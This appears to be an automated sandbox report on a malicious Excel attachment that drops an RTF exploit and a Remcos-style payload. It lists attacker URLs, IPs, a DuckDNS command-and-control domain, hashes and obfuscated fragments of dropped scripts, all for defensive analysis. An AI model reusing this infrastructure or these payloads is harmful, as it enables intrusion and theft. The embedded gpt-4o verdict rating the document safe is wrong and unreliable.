                      https://contoso.com/Iconpowershell.exe, 0000000A.00000002.507482105.00000000032C9000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://geoplugin.net/json.gpSRegAsm.exe, 0000000C.00000002.622570366.0000000000752000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://go.microsoft.cpowershell.exe, 0000000A.00000002.506279937.00000000006CC000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 0000000A.00000002.507138336.00000000022A1000.00000004.00000800.00020000.00000000.sdmpfalse
                      • URL Reputation: safe
                      		unknown
                      http://geoplugin.net/json.gpZRegAsm.exe, 0000000C.00000002.622570366.0000000000752000.00000004.00000020.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://tny.wtf/c8lH8;Purchase Inquiry.xla.xlsxfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://192.3.176.154powershell.exe, 0000000A.00000002.510713800.0000000008281000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown
                      http://198.46.176.133powershell.exe, 0000000A.00000002.507138336.00000000023DB000.00000004.00000800.00020000.00000000.sdmpfalse
                      • Avira URL Cloud: safe
                      		unknown

                      World Map of Contacted IPs

                      • No. of IPs < 25%
                      • 25% < No. of IPs < 50%
                      • 50% < No. of IPs < 75%
                      • 75% < No. of IPs

                      Public IPs

                      IPDomainCountryFlagASNASN NameMalicious
                      192.3.176.154
                      		unknownUnited States
                      		36352AS-COLOCROSSINGUStrue
                      188.114.97.3
                      		tny.wtfEuropean Union
                      		13335CLOUDFLARENETUStrue
                      188.114.96.3
                      		unknownEuropean Union
                      		13335CLOUDFLARENETUSfalse
                      192.210.214.9
                      		2024remcmon.duckdns.orgUnited States
                      		36352AS-COLOCROSSINGUStrue
                      198.46.176.133
                      		unknownUnited States
                      		36352AS-COLOCROSSINGUSfalse
                      178.237.33.50
                      		geoplugin.netNetherlands
                      		8455ATOM86-ASATOM86NLfalse

                      General Information

                      Joe Sandbox version:40.0.0 Tourmaline
                      Analysis ID:1482978
                      Start date and time:2024-07-26 13:14:32 +02:00
                      Joe Sandbox product:CloudBasic
                      Overall analysis duration:0h 6m 56s
                      Hypervisor based Inspection enabled:false
                      Report type:full
                      Cookbook file name:defaultwindowsofficecookbook.jbs
                      Analysis system description:Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
                      Number of analysed new started processes analysed:14
                      Number of new started drivers analysed:1
                      Number of existing processes analysed:0
                      Number of existing drivers analysed:0
                      Number of injected processes analysed:0
                      Technologies:
                      • HCA enabled
                      • EGA enabled
                      • GSI enabled (VBA)
                      • AMSI enabled
                      Analysis Mode:default
                      Analysis stop reason:Timeout
                      Sample name:Purchase Inquiry.xla.xlsx
                      Detection:MAL
                      Classification:mal100.troj.spyw.expl.evad.winXLSX@10/28@10/6
                      EGA Information:
                      • Successful, ratio: 66.7%
                      HCA Information:
                      • Successful, ratio: 96%
                      • Number of executed functions: 62
                      • Number of non-executed functions: 207
                      Cookbook Comments:
                      • Found application associated with file extension: .xlsx
                      • Found Word or Excel or PowerPoint or XPS Viewer
                      • Attach to Office via COM
                      • Active ActiveX Object
                      • Active ActiveX Object
                      • Scroll down
                      • Close Viewer

                      Warnings

                      • Exclude process from analysis (whitelisted): mrxdav.sys, dllhost.exe, rundll32.exe, WMIADAP.exe, conhost.exe
                      • Execution Graph export aborted for target EQNEDT32.EXE, PID 1652 because there are no executed function
                      • Not all processes where analyzed, report is missing behavior information
                      • Report size getting too big, too many NtOpenKeyEx calls found.
                      • Report size getting too big, too many NtQueryValueKey calls found.
                      • Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                      • VT rate limit hit for: Purchase Inquiry.xla.xlsx

                      Simulations

                      Behavior and APIs

                      TimeTypeDescription
                      07:16:13API Interceptor77x Sleep call for process: dllhost.exe modified
                      07:16:26API Interceptor52x Sleep call for process: EQNEDT32.EXE modified
                      07:16:28API Interceptor12x Sleep call for process: wscript.exe modified
                      07:16:29API Interceptor24x Sleep call for process: powershell.exe modified
                      07:16:35API Interceptor376x Sleep call for process: RegAsm.exe modified

                      LLM Input / Output

                      InputOutput
                      URL: Office document Model: gpt-4o
                      ```json
{
  "riskscore": 1,
  "reasons": "The provided screenshot appears to be a financial document, specifically a ledger or statement of accounts. There are no visually prominent buttons or links that could mislead the user into clicking on a potentially harmful link. The text in the screenshot does not create a sense of urgency or interest typically associated with phishing attempts, such as 'Click here to view document' or 'To view secured document click here.' Additionally, there is no impersonation of well-known brands. The document seems to be legitimate and related to financial transactions. The only text that could be considered a call to action is 'Please reference our purchase order number on each delivery note and invoice. Order is not valid without authorized signatures,' which does not create a sense of urgency or interest connected to a prominent button or link."
}

                      Joe Sandbox View / Context

                      IPs

                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                      192.3.176.154Order_490104.xlsGet hashmaliciousUnknownBrowse
                        Order_490104.xlsGet hashmaliciousUnknownBrowse
                          Order_490104.xlsGet hashmaliciousUnknownBrowse
                            188.114.97.3AWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • tny.wtf/sA
                            RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                            • tny.wtf/
                            RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                            • tny.wtf/
                            #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                            • tny.wtf/4Gs
                            Notepad3_v6.23.203.2.exeGet hashmaliciousAmadey, GO BackdoorBrowse
                            • downloaddining2.com/h9fmdW6/index.php
                            Quotation.exeGet hashmaliciousFormBookBrowse
                            • www.bahisanaliz16.xyz/ty31/?nfuxZr=JoA2dMXfLBqFXt4x+LwNr+felGYfgJXJPNkjuKbt07zo6G2Rowrau43mkNbOTfffhSkjLsiciQ==&v6AxO=1bjHLvGh8ZYHMfZp
                            LisectAVT_2403002B_412.exeGet hashmaliciousFormBookBrowse
                            • www.whatareyoucraving.com/drbb/
                            AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                            • tny.wtf/pqv2p
                            AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                            • tny.wtf/pqv2p
                            AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                            • tny.wtf/pqv2p

                            Domains

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            2024remcmon.duckdns.orgINQUIRY#809676-JULY1.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 192.210.214.9
                            INQUIRY#809676-JULY1.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 192.210.214.9
                            1715327885f20f31f2f517c98cb2c7e927c5676435d894ec2de190282251b350f38ab136db927.dat-decoded.exeGet hashmaliciousRemcos, PrivateLoaderBrowse
                            • 192.210.214.9
                            izjbNXbbDX.rtfGet hashmaliciousRemcosBrowse
                            • 107.172.31.178
                            1710228246da2ebbe442542c426e28c0df992bca85d59c521a027975c70d161027e53b6d2f971.dat-decoded.exeGet hashmaliciousRemcosBrowse
                            • 107.172.31.178
                            RFQ No. PO414501.xla.xlsxGet hashmaliciousRemcosBrowse
                            • 107.172.31.178
                            tny.wtfAWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 188.114.96.3
                            RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                            • 188.114.96.3
                            RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                            • 188.114.96.3
                            Quotation.xlsGet hashmaliciousRemcosBrowse
                            • 188.114.96.3
                            #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                            • 188.114.97.3
                            AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                            • 188.114.97.3
                            AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                            • 188.114.97.3
                            AVISO DE PAGO.xlsGet hashmaliciousUnknownBrowse
                            • 188.114.97.3
                            PO S0042328241130.xlsGet hashmaliciousRemcosBrowse
                            • 188.114.97.3
                            Scan copy.xlsGet hashmaliciousUnknownBrowse
                            • 188.114.97.3
                            geoplugin.netAWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 178.237.33.50
                            Payment Advice__HSBC Banking.pdf.lnkGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            Quotation.xlsGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            LisectAVT_2403002A_101.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            LisectAVT_2403002A_407.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            LisectAVT_2403002A_431.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            IAENMAIL-A4-240717-0830-000090912_PDF.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50
                            CDG__ Copia de Pagamento.pdf.exeGet hashmaliciousRemcosBrowse
                            • 178.237.33.50

                            ASNs

                            MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                            CLOUDFLARENETUSAWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 188.114.96.3
                            TNS71092E68UI0.vbeGet hashmaliciousFormBookBrowse
                            • 104.21.29.136
                            https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9Get hashmaliciousUnknownBrowse
                            • 104.16.117.116
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 188.114.96.3
                            IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                            • 104.21.72.79
                            SecuriteInfo.com.Win32.RATX-gen.11894.20893.exeGet hashmaliciousFormBookBrowse
                            • 172.67.134.182
                            https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=Get hashmaliciousPhisherBrowse
                            • 188.114.96.3
                            RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                            • 188.114.96.3
                            https://intralinks.us.com/kI1A4RAsty2APhQ3Ea4DCmQ3E4DCI1Acalz01coTxmGet hashmaliciousHTMLPhisherBrowse
                            • 172.67.159.233
                            https://forms.office.com/r/WH4W8hyyNAGet hashmaliciousHTMLPhisherBrowse
                            • 104.17.25.14
                            CLOUDFLARENETUSAWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 188.114.96.3
                            TNS71092E68UI0.vbeGet hashmaliciousFormBookBrowse
                            • 104.21.29.136
                            https://click.pstmrk.it/3s/www.rxeffect.com/xrJC/8OO2AQ/AQ/7b025ed7-37dd-46f9-8a3c-79d484929f8e/1/x7UnC8G8B9Get hashmaliciousUnknownBrowse
                            • 104.16.117.116
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 188.114.96.3
                            IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                            • 104.21.72.79
                            SecuriteInfo.com.Win32.RATX-gen.11894.20893.exeGet hashmaliciousFormBookBrowse
                            • 172.67.134.182
                            https://rtntrack.rediff.com/click?url=___https://www.firstpost.com/health/covid-19-puts-kidney-patients-at-high-risk-as-poor-immunity-ill-equipped-dialysis-centres-exposes-patients-to-infection-8627161.html___&service=instasearch&clientip=66.249.79.152&pos=readfullarticle&Ruw=&Rl=&q=&destinationurl=https://My.ha51000.com/.de/c2FsbHkuYmVldHlAcXVpbHRlci5jb20=Get hashmaliciousPhisherBrowse
                            • 188.114.96.3
                            RFQ#51281AOLAI.xlsGet hashmaliciousFormBook, PureLog StealerBrowse
                            • 188.114.96.3
                            https://intralinks.us.com/kI1A4RAsty2APhQ3Ea4DCmQ3E4DCI1Acalz01coTxmGet hashmaliciousHTMLPhisherBrowse
                            • 172.67.159.233
                            https://forms.office.com/r/WH4W8hyyNAGet hashmaliciousHTMLPhisherBrowse
                            • 104.17.25.14
                            AS-COLOCROSSINGUSAWD 490104998518.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            waybill_shipping_documents_original_BL_CI&PL_26_07_2024_00000000_doc.xlsGet hashmaliciousGuLoader, RemcosBrowse
                            • 104.168.45.34
                            IRqsWvBBMc.exeGet hashmaliciousAmadey, VidarBrowse
                            • 198.46.178.145
                            file.exeGet hashmaliciousVidarBrowse
                            • 198.46.178.145
                            C1ZsNxSer8.exeGet hashmaliciousRemcosBrowse
                            • 23.95.60.82
                            Quotation.xlsGet hashmaliciousRemcosBrowse
                            • 23.95.60.82
                            #U00d6DEME TAVS#U0130YES#U0130.xlsGet hashmaliciousRemcosBrowse
                            • 198.46.176.133
                            BilseMHALF.rtfGet hashmaliciousUnknownBrowse
                            • 172.245.123.11
                            2FBexXRCHR.rtfGet hashmaliciousAgentTeslaBrowse
                            • 198.46.174.139
                            DBytisGNuD.exeGet hashmaliciousCobaltStrike, MetasploitBrowse
                            • 107.174.69.116

                            JA3 Fingerprints

                            ⊘No context

                            Dropped Files

                            ⊘No context

                            Created / dropped Files

                            C:\Users\user\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\LocalCacheFileEditManager\FSD-CNRY.FSD (copy)

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:data
                            Category:dropped
                            Size (bytes):131072
                            Entropy (8bit):0.0255932170100285
                            Encrypted:false
                            SSDEEP:6:I3DPcVaLCu9vxggLRrO1BmyUpQa7ltRXv//4tfnRujlw//+GtluJ/eRuj:I3DPLLCuRHGwjTvYg3J/
                            MD5:7B52467152F34BC31C73F71BDA3E3E13
                            SHA1:6808508C068BD10CC10CC9046ACAF6449F82CE08
                            SHA-256:766B5D1A80E425BA3B547BD300BA362FEB585E86B36A3A8263CAAFC9F666FCF4
                            SHA-512:2EAB7778BB07174EF5267A01400CD02231B926F03DDB442DECE7FDBC0017794CF3CC5EEDDAD7B06BDA1BC03CF4F5A0C27FBBD52D22B4A4EF423F359292E861F5
                            Malicious:false
                            Reputation:low
                            Preview:......M.eFy...z..?...L.;....eWS,...X.F...Fa.q..............................eJ.eG.../..................0A...'..?.....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):4760
                            Entropy (8bit):4.834060479684549
                            Encrypted:false
                            SSDEEP:96:RCJ2Woe5u2k6Lm5emmXIGxgyg12jDs+un/iQLEYFjDaeWJ6KGcmXSFRLcU6/KD:cxoe5uVsm5emdOgkjDt4iWN3yBGHydcY
                            MD5:838C1F472806CF4BA2A9EC49C27C2847
                            SHA1:D1C63579585C4740956B099697C74AD3E7C89751
                            SHA-256:40A844E6AF823D9E71A35DFEE1FF7383D8A682E9981FB70440CA47AA1F6F1FF3
                            SHA-512:E784B61696AB19C5A178204A11E4012A9A29D58B3D3BF1D5648021693883FFF343C87777E7A2ADC81B833148B90B88E60948B370D2BB99DEC70C097B5C91B145
                            Malicious:false
                            Reputation:moderate, very likely benign file
                            Preview:PSMODULECACHE............Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script...............T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                            C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                            Download File
                            Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                            File Type:data
                            Category:dropped
                            Size (bytes):64
                            Entropy (8bit):0.34726597513537405
                            Encrypted:false
                            SSDEEP:3:Nlll:Nll
                            MD5:446DD1CF97EABA21CF14D03AEBC79F27
                            SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                            SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                            SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                            Malicious:false
                            Reputation:high, very likely benign file
                            Preview:@...e...........................................................

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].doc

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:Rich Text Format data, version 1
                            Category:dropped
                            Size (bytes):94593
                            Entropy (8bit):2.7753724392830432
                            Encrypted:false
                            SSDEEP:384:HL33DVJny5dXsM8j4mts4dSy5M7lNZwnxbIEbVX+pOtASxurvRNc7OYRFNFgJ04q:rDHyDs9jXFK7XU0cVXwONFXzg6d118E
                            MD5:F179217F7E89DEA23F1A01C29FC61659
                            SHA1:0176904A79C159E96B5BD8AAF4EAE5817B0F0996
                            SHA-256:25210BF101E90B41547334124D89DA300D74672054E6AEFAA89AAC51E55C1E10
                            SHA-512:9920575F85B0B1120CF0D84D1536974917F5DAD63EBD73D406A7E75C1BB2554EE437F6FC1BB82856C753AAF6B7FE0D397ECA3CA70BB682EB3D09F5584AE113AB
                            Malicious:true
                            Yara Hits:
                            • Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\funtogetbacktomeforgetbacktogetbackkissthingtheentirethingstogetbacktomewithentirethingstogetback_____imangreadytoseegirlfrnd[1].doc, Author: ditekSHen
                            Antivirus:
                            • Antivirus: Avira, Detection: 100%
                            Preview:{\rtf1..........{\*\listtable165779705 \_}.{\398253436..%<#+2.?1!@!!||3<?`+-40?$_*?.['^.*6>@8(?>:6?#2++=%]>.$.&<`,.8%.?`=;~9/_%+2~?]#4.>*.?'<?*5|!_.?13=>+%`/0?~3+<<43<1>?|%?27.4?|27[(?2%;#0(936?%~69&|.?^;=.=4;7_?`%&##:[20^^=(#<)?+?1$+!^?9,0=$!-28_#??3?&%3+#0!`.?.??^*@_=%>0=].#?.=4&>).6!?),[.&?)!>-.%??.??78_(0..;'+|*.=_5?_1'#,2.9?+/>72,=).17]%@->.<2=@0]%/^!#!&=?+$*%`0*7*#0%.4`*.|#0&_%#)$>$'<.1.?.3_,#?.[?/<?(1[(.?3?&5_.'<.###?1~.$)-2<~#*4'|208;|+!9(.+'67*.%5%./=,51.|@8,+.-%-|$[>;1:5.??5[?606(?.]4$[|=0%]^8.-%'.1$<_.(<;^,.1$,((3|-[~-?(%+2.'?$(%$.?5=099-?=9.%?6?+3@=??;_2>.0`-?]2:$$.$|<)9%,^;:?~?((.'<7[?..?1@)|6.~?.%.%*$%|._(<?_]?35323%6$4<7.?!?~..<?<[<'|`]..`~#??1+?52,7.<|[6!)#$>@.8.[+.&&.<;%)1$.>&.?(?.+<|,..!(6*$?!_[0.)#_=<'0^.'6*??$9>,?&|?>)<'-.>`|4^[&9_.|:^?!,_'-6^+_%89:=~,'4@0!$*8:_^><%:?$|]%_[[`*)>%5)].4?>!`6&+|$/?!,8,9-%@!^/05`.4?-;19;'44)-@?0,%?7|9?..??6`>.%?6?:%_8|*0>8*...*[/?>)::/.*3?[-?+$5?0(?.*)40+>.<&00@8]<,$]:+==$%<;%-#_.;5.0;(?.?-@%3'?|^?($(]./.$*.?$]%/`.6'(;[15?9;.).2&^.%8|,?

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\json[1].json

                            Download File
                            Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
                            File Type:JSON data
                            Category:dropped
                            Size (bytes):962
                            Entropy (8bit):5.013811273052389
                            Encrypted:false
                            SSDEEP:12:tklu+mnd6CsGkMyGWKyGXPVGArwY307f7aZHI7GZArpv/mOAaNO+ao9W7iN5zzkk:qlu+KdRNuKyGX85jvXhNlT3/7AcV9Wro
                            MD5:18BC6D34FABB00C1E30D98E8DAEC814A
                            SHA1:D21EF72B8421AA7D1F8E8B1DB1323AA93B884C54
                            SHA-256:862D5523F77D193121112B15A36F602C4439791D03E24D97EF25F3A6CBE37ED0
                            SHA-512:8DF14178B08AD2EDE670572394244B5224C8B070199A4BD851245B88D4EE3D7324FC7864D180DE85221ADFBBCAACB9EE9D2A77B5931D4E878E27334BF8589D71
                            Malicious:false
                            Preview:{. "geoplugin_request":"8.46.123.33",. "geoplugin_status":200,. "geoplugin_delay":"1ms",. "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.",. "geoplugin_city":"New York",. "geoplugin_region":"New York",. "geoplugin_regionCode":"NY",. "geoplugin_regionName":"New York",. "geoplugin_areaCode":"",. "geoplugin_dmaCode":"501",. "geoplugin_countryCode":"US",. "geoplugin_countryName":"United States",. "geoplugin_inEU":0,. "geoplugin_euVATrate":false,. "geoplugin_continentCode":"NA",. "geoplugin_continentName":"North America",. "geoplugin_latitude":"40.7123",. "geoplugin_longitude":"-74.0068",. "geoplugin_locationAccuracyRadius":"20",. "geoplugin_timezone":"America\/New_York",. "geoplugin_currencyCode":"USD",. "geoplugin_currencySymbol":"$",. "geoplugin_currencySymbol_UTF8":"$",. "geoplugin_currencyConverter":0.}

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\createactiveimagesbeautygirlfrnd[1].gif

                            Download File
                            Process:C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
                            File Type:Unicode text, UTF-16, little-endian text, with CRLF line terminators
                            Category:dropped
                            Size (bytes):427434
                            Entropy (8bit):3.575965695258709
                            Encrypted:false
                            SSDEEP:3072:sHGgwfzYF2hNe4VTdRnTT8w4TWEvqK3g4YpFka+bS7oNePYZCRAXG+al8zq:2wfzYF1vqP
                            MD5:FD92F8BCCF35E72FE49BAB1B596EEFCE
                            SHA1:40ECAF11BEF8907906B8DDEA0AE7D90098A4CEBC
                            SHA-256:BFAE575FB0E846BA3D7929E3D8A8E593DCD529ED6FF2F0F6D6378339B0F10AA8
                            SHA-512:D344643C03F233667A115149110CD89B3570C87012E578B1CF793B2515A524A3980A99B2C51712E406BD3AD92DCAA17F76EB81A8AB0A767CE5EE403DD428D0F6
                            Malicious:false
                            Preview:..d.i.m. .p.o.s.u.a.l. .....p.o.s.u.a.l. .=. .r.e.g.a.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".p.a.l.p.a.b.i.l.i.z.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.n.e.g.a.l.h.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".n.e.b.l.i.n.a.r.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".a.v.i.a.m.e.n.t.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.5._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".c.i.m.b.r.o.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".t.a.r.a.m.b.o.l.a.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.8._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.0.9._.0._.M.e.s.s.a.g.e.".). .&. .p.o.s.u.a.l. .&. ._.....i.n.a.u.t.e.n.t.i.c.i.d.a.d.e.(.".X._.H.e.l.p.U.r.i.s._.0.1.0._.0._.M.e.s.s.a.g.

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.doc

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
                            File Type:Rich Text Format data, version 1
                            Category:dropped
                            Size (bytes):94593
                            Entropy (8bit):2.7753724392830432
                            Encrypted:false
                            SSDEEP:384:HL33DVJny5dXsM8j4mts4dSy5M7lNZwnxbIEbVX+pOtASxurvRNc7OYRFNFgJ04q:rDHyDs9jXFK7XU0cVXwONFXzg6d118E
                            MD5:F179217F7E89DEA23F1A01C29FC61659
                            SHA1:0176904A79C159E96B5BD8AAF4EAE5817B0F0996
                            SHA-256:25210BF101E90B41547334124D89DA300D74672054E6AEFAA89AAC51E55C1E10
                            SHA-512:9920575F85B0B1120CF0D84D1536974917F5DAD63EBD73D406A7E75C1BB2554EE437F6FC1BB82856C753AAF6B7FE0D397ECA3CA70BB682EB3D09F5584AE113AB
                            Malicious:true
                            Yara Hits:
                            • Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\823F0820.doc, Author: ditekSHen
                            Antivirus:
                            • Antivirus: Avira, Detection: 100%
                            Preview:{\rtf1..........{\*\listtable165779705 \_}.{\398253436..%<#+2.?1!@!!||3<?`+-40?$_*?.['^.*6>@8(?>:6?#2++=%]>.$.&<`,.8%.?`=;~9/_%+2~?]#4.>*.?'<?*5|!_.?13=>+%`/0?~3+<<43<1>?|%?27.4?|27[(?2%;#0(936?%~69&|.?^;=.=4;7_?`%&##:[20^^=(#<)?+?1$+!^?9,0=$!-28_#??3?&%3+#0!`.?.??^*@_=%>0=].#?.=4&>).6!?),[.&?)!>-.%??.??78_(0..;'+|*.=_5?_1'#,2.9?+/>72,=).17]%@->.<2=@0]%/^!#!&=?+$*%`0*7*#0%.4`*.|#0&_%#)$>$'<.1.?.3_,#?.[?/<?(1[(.?3?&5_.'<.###?1~.$)-2<~#*4'|208;|+!9(.+'67*.%5%./=,51.|@8,+.-%-|$[>;1:5.??5[?606(?.]4$[|=0%]^8.-%'.1$<_.(<;^,.1$,((3|-[~-?(%+2.'?$(%$.?5=099-?=9.%?6?+3@=??;_2>.0`-?]2:$$.$|<)9%,^;:?~?((.'<7[?..?1@)|6.~?.%.%*$%|._(<?_]?35323%6$4<7.?!?~..<?<[<'|`]..`~#??1+?52,7.<|[6!)#$>@.8.[+.&&.<;%)1$.>&.?(?.+<|,..!(6*$?!_[0.)#_=<'0^.'6*??$9>,?&|?>)<'-.>`|4^[&9_.|:^?!,_'-6^+_%89:=~,'4@0!$*8:_^><%:?$|]%_[[`*)>%5)].4?>!`6&+|$/?!,8,9-%@!^/05`.4?-;19;'44)-@?0,%?7|9?..??6`>.%?6?:%_8|*0>8*...*[/?>)::/.*3?[-?+$5?0(?.*)40+>.<&00@8]<,$]:+==$%<;%-#_.;5.0;(?.?-@%3'?|^?($(]./.$*.?$]%/`.6'(;[15?9;.).2&^.%8|,?

                            C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\F485DD82.emf

                            Download File
                            Process:C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
                            File Type:Windows Enhanced Metafile (EMF) image data version 0x10000
                            Category:dropped
                            Size (bytes):3040096
                            Entropy (8bit):3.950251105007638
                            Encrypted:false
                            SSDEEP:12288:017pPI5R32GnjPjIwcusrwvsWXKcnXfxpMZacUkRaN7Hjo1PWwZCD8dt3iGnjPjE:0lpOR30wOSKx1OwZCat3wwKuWh1Ow/
                            MD5:1EAB08A33DC387A9B21C06A6DCB73BCC
                            SHA1:219CC48494FDDF0B54A66146504248D06139BFCE
                            SHA-256:28A473894F872B9B933179C830F21D02C97BB5184AF4DEB818D9F234C9C1CFFA
